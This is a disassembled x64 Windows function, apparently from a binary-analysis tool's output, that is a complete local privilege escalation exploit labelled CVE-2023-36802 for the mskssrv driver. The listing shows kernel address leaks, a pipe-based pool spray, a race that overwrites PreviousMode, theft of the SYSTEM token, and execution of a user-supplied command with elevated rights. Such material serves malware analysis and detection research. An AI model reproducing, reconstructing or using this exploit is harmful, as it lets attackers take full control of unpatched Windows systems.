Function at 0x140001b60
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x1c8
mov rax, qword [0x140028478]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
lea rcx, str.CVE_2023_36802_LPE_Exploit_by_K8gege_n
call fcn.140002570
cmp dword [rsp + 0x1d0], 2
jge 0x140001bc3
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x1d8]
mov rdx, qword [rcx + rax]
lea rcx, str.Usage:__s__command__n
call fcn.140002570
mov eax, 1
jmp 0x140002555
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str.__rootsystem00003c0d501a_140b_11d1_b40f_00a0c922319696e080c7_143c_11d1_b40f_00a0c92231963c0d501a_140b_11d1_b40f_00a0c9223196
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14102a180], rax
cmp qword [0x14102a180], 0
jne 0x140001c39
mov eax, 1
jmp 0x140002555
call fcn.140001540
test eax, eax
jne 0x140001c4c
mov eax, 1
jmp 0x140002555
mov rdx, qword [0x14102a180]
lea rcx, str.___Successfully_opened_mskssrv_device_handle____p_n
call fcn.1400026e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov eax, eax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0
mov dword [rsp + 0xe0], 0x30
mov qword [rsp + 0xe8], 0
mov dword [rsp + 0xf8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0xe0]
mov edx, 0x1000
lea rcx, [rsp + 0xc0]
call qword [0x14102a190]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140001d09
mov edx, dword [rsp + 0x50]
lea rcx, str.____Error_NtOpenProcess_failed:__ld_n
call fcn.1400026e0
mov eax, 1
jmp 0x140002555
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8d, eax
xor edx, edx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
jne 0x140001d4c
mov edx, dword [rsp + 0x50]
lea rcx, str.____Error_while_getting_the_thread_ID:__ld_n
call fcn.1400026e0
mov eax, 1
jmp 0x140002555
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [rsp + 0xc0]
mov ecx, eax
call fcn.1400013a0
mov qword [rsp + 0x78], rax
mov edx, 4
mov ecx, 4
call fcn.1400013a0
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [0x14102a180]
mov ecx, eax
call fcn.1400013a0
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [rsp + 0x98]
mov ecx, eax
call fcn.1400013a0
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x78], 0
jne 0x140001de3
cmp qword [rsp + 0x60], 0
jne 0x140001de3
cmp qword [rsp + 0x68], 0
jne 0x140001de3
cmp qword [rsp + 0x70], 0
jne 0x140001de3
lea rcx, str.____Error_when_attempted_to_leak_kernel_addresses_n
call fcn.1400026e0
mov eax, 1
jmp 0x140002555
mov rax, qword [rsp + 0x78]
add rax, 0x4b8
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x60]
add rax, 0x4b8
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x70]
add rax, 0x232
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x68]
add rax, 0x20
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0x78]
lea rcx, str.___Our_process_EPROCESS____p_n
call fcn.1400026e0
mov rdx, qword [rsp + 0xa8]
lea rcx, str.___Our_process__EX_FAST_REF_Token_address____p_n
call fcn.1400026e0
mov rdx, qword [rsp + 0x60]
lea rcx, str.___System_process_EPROCESS____p_n
call fcn.1400026e0
mov rdx, qword [rsp + 0xa0]
lea rcx, str.___System_process__EX_FAST_REF_Token_address____p_n
call fcn.1400026e0
mov rdx, qword [rsp + 0x68]
lea rcx, str.___Device_handle____p_n
call fcn.1400026e0
mov rdx, qword [rsp + 0x70]
lea rcx, str.___Main_ETHREAD____p_n
call fcn.1400026e0
mov rdx, qword [rsp + 0x80]
lea rcx, str.___PreviousMode____p_n
call fcn.1400026e0
mov rax, qword [rsp + 0x80]
add rax, 0x30
mov qword [rsp + 0x128], rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
jne 0x140001f0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_while_allocating_memory_for_the_user_buffer:__d_n
call fcn.1400026e0
mov eax, 1
jmp 0x140002555
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0xc8]
call fcn.140003bb0
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xc8]
mov qword [rax], rcx
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xc8]
mov qword [rax + 0x58], rcx
mov rax, qword [rsp + 0xc8]
mov qword [rax + 0xd0], 1
mov ecx, 0x80
call fcn.1400066b0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
add rax, 0x18
mov r8d, 8
lea rdx, [rsp + 0x128]
mov rcx, rax
call fcn.140003500
mov rax, qword [rsp + 0x58]
add rax, 0x20
mov r8d, 8
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.140003500
mov rax, qword [rsp + 0x58]
add rax, 0x68
mov r8d, 8
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.140003500
mov rax, qword [rsp + 0x58]
add rax, 0x78
mov r8d, 8
lea rdx, [rsp + 0xc8]
mov rcx, rax
call fcn.140003500
lea rcx, [0x140027d20]
call fcn.1400026e0
mov edx, 0x80
mov rcx, qword [rsp + 0x58]
call fcn.140001750
test eax, eax
jne 0x14000201a
lea rcx, [0x140027d88]
call fcn.1400026e0
mov eax, 1
jmp 0x140002555
lea rcx, str.___Closing_some_pipes_to_create_holes_in_the_pool_spray_n
call fcn.1400026e0
call section..text
lea rcx, str.___Made_some_holes__n
call fcn.1400026e0
lea rcx, str.___Allocating_context_registration_object_n
call fcn.1400026e0
call fcn.140001060
lea rcx, str.___Spraying_the_pool_with_objects_of_size_0x80_n
call fcn.1400026e0
mov edx, 0x80
mov rcx, qword [rsp + 0x58]
call fcn.140001120
test eax, eax
jne 0x14000207d
lea rcx, str.____PipeSpray_failed._n
call fcn.1400026e0
mov eax, 1
jmp 0x140002555
lea rcx, str.___Executing_PublishTx_in_a_separate_thread_n
call fcn.1400026e0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400019d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Overwrite_Previous_Mode_Completed_n
call fcn.1400026e0
mov ecx, 8
call fcn.1400066b0
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x110], 0
mov r8d, 8
xor edx, edx
mov rcx, qword [rsp + 0x48]
call fcn.140003bb0
lea rcx, str.___Trying_to_overwrite_our_token_with_system_token_n
call fcn.1400026e0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a0]
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a8]
lea rcx, str.___Overwrite_was_successful__n
call fcn.1400026e0
lea rcx, str.___Trying_to_get_FsContextReg_object_address_n
call fcn.1400026e0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a0]
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0xb0], rax
mov rdx, qword [rsp + 0xb0]
lea rcx, str.___FsContextReg_object_address___0x_p_n
call fcn.1400026e0
mov rax, qword [rsp + 0xb0]
add rax, 0x1a8
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a0]
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
lea rcx, str.___ProcessBilled_value___llu_n
call fcn.1400026e0
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x130]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a8]
lea rcx, str.___ProcessBilled_set_to_zero_n
call fcn.1400026e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rsp + 0xc8]
mov qword [rax], 0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Restoring_ProcessBilled_value..._n
call fcn.1400026e0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x120]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a8]
lea rcx, [0x140028260]
call fcn.1400026e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Incrementing_ref_count_of_EPROCESS_OBJECT_HEADER..._n
call fcn.1400026e0
mov rax, qword [rsp + 0x78]
sub rax, 0x30
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
lea rcx, str.___Current_EPROCESSs_OBJECT_HEADER_address___0x_p_n
call fcn.1400026e0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a0]
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0x118]
lea rcx, str.___Current_Ref_Count___0x_p_n
call fcn.1400026e0
mov rax, qword [rsp + 0x118]
inc rax
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x118]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a8]
lea rcx, str.___Done_n
call fcn.1400026e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Restoring_PreviousMode..._n
call fcn.1400026e0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a0]
mov rax, qword [rsp + 0x48]
mov rax, qword [rax]
xor rax, 1
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rsp + 0x138]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc0]
call qword [0x14102a1a8]
lea rcx, str.___PreviousMode_set_to_1_successfully__n_n
call fcn.1400026e0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x1d8]
mov r9, qword [rcx + rax]
lea r8, [0x14002710c]
mov edx, 0x64
lea rcx, [rsp + 0x140]
call fcn.1400025f0
lea rcx, [rsp + 0x140]
call fcn.1400066b8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x40], 0
jmp 0x1400024bb
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x10000
jge 0x14000251f
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x140c2a180]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x14082a140]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x14042a100]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsp + 0x40]
lea rcx, [0x14002a0c0]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400024b1
mov rcx, qword [0x14102a180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1400027e0
add rsp, 0x1c8
ret